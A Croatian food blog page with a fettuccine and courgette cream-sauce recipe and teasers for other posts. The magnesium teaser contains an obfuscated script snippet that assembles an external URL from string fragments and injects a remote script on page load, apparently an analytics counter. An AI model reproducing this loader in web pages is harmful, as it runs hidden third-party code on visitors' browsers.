FETTUCCINE U KREMASTOM UMAKU S TIKVICAMA




Fettuccine u kremastom umaku s tikvicama 




Kremasta tjestenina s tikvicama jelo je koje spaja jednostavnost i bogatstvo okusa, idealno za brzi ručak ili laganu večeru. Nježne tikvice pirjane na maslacu savršeno se stapaju s baršunastim umakom od vrhnja, češnjaka i parmezana, stvarajući harmoniju kojoj je teško odoljeti. Blaga aromatična završnica koju daje slatka paprika čini ovo talijansko jelo potpunim, a mi vam donosimo recept koji ćete sigurno ponavljati.





Fettuccine u kremastom umaku s tikvicama 


Sastojci:

  • fettuccine ili druga dulja tjestenina
  • tikvica
  • češnjak
  • maslac
  • vrhnje za kuhanje
  • Parmigiano Reggiano
  • mljevena slatka paprika
  • sol i papar
  • maslinovo ulje



Priprema:

Tikvicu operite i narežite na tanke polumjesece. Češnjak sitno nasjeckajte. Ako koristite parmezan u komadu, naribajte ga. U velikom loncu zakuhajte posoljenu vodu i skuhajte tjesteninu prema uputama na pakiranju, pazeći da ostane al dente. Prije cijeđenja sačuvajte oko 50 do 100 ml vode u kojoj se kuhala. Tjesteninu zatim ocijedite.

Dok se tjestenina kuha, u velikoj tavi zagrijte maslinovo ulje i polovicu maslaca. Dodajte narezane tikvice i pirjajte ih na srednje jakoj vatri 5 do 7 minuta, dok ne omekšaju i dobiju lagano zlatnu boju. U tavu s tikvicama dodajte nasjeckani češnjak i pirjajte ga tridesetak sekundi, samo dok ne zamiriše. 

Smanjite vatru, dodajte ostatak maslaca i vrhnje za kuhanje. Miješajte dok se sastojci ne sjedine u gladak umak. Postupno dodajte naribani parmezan uz stalno miješanje dok se ne otopi, a umak ne postane gust i kremast. Ako je umak pregust, razrijedite ga s malo vode od kuhanja tjestenine.

U tavu s umakom dodajte ocijeđenu tjesteninu i sve dobro promiješajte kako bi se tjestenina ravnomjerno obložila umakom. Po ukusu dodatno posolite i popaprite. Maknite tavu s vatre, pospite jelo mljevenom slatkom paprikom i lagano promiješajte. Poslužite odmah, dok je vruće i kremasto.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više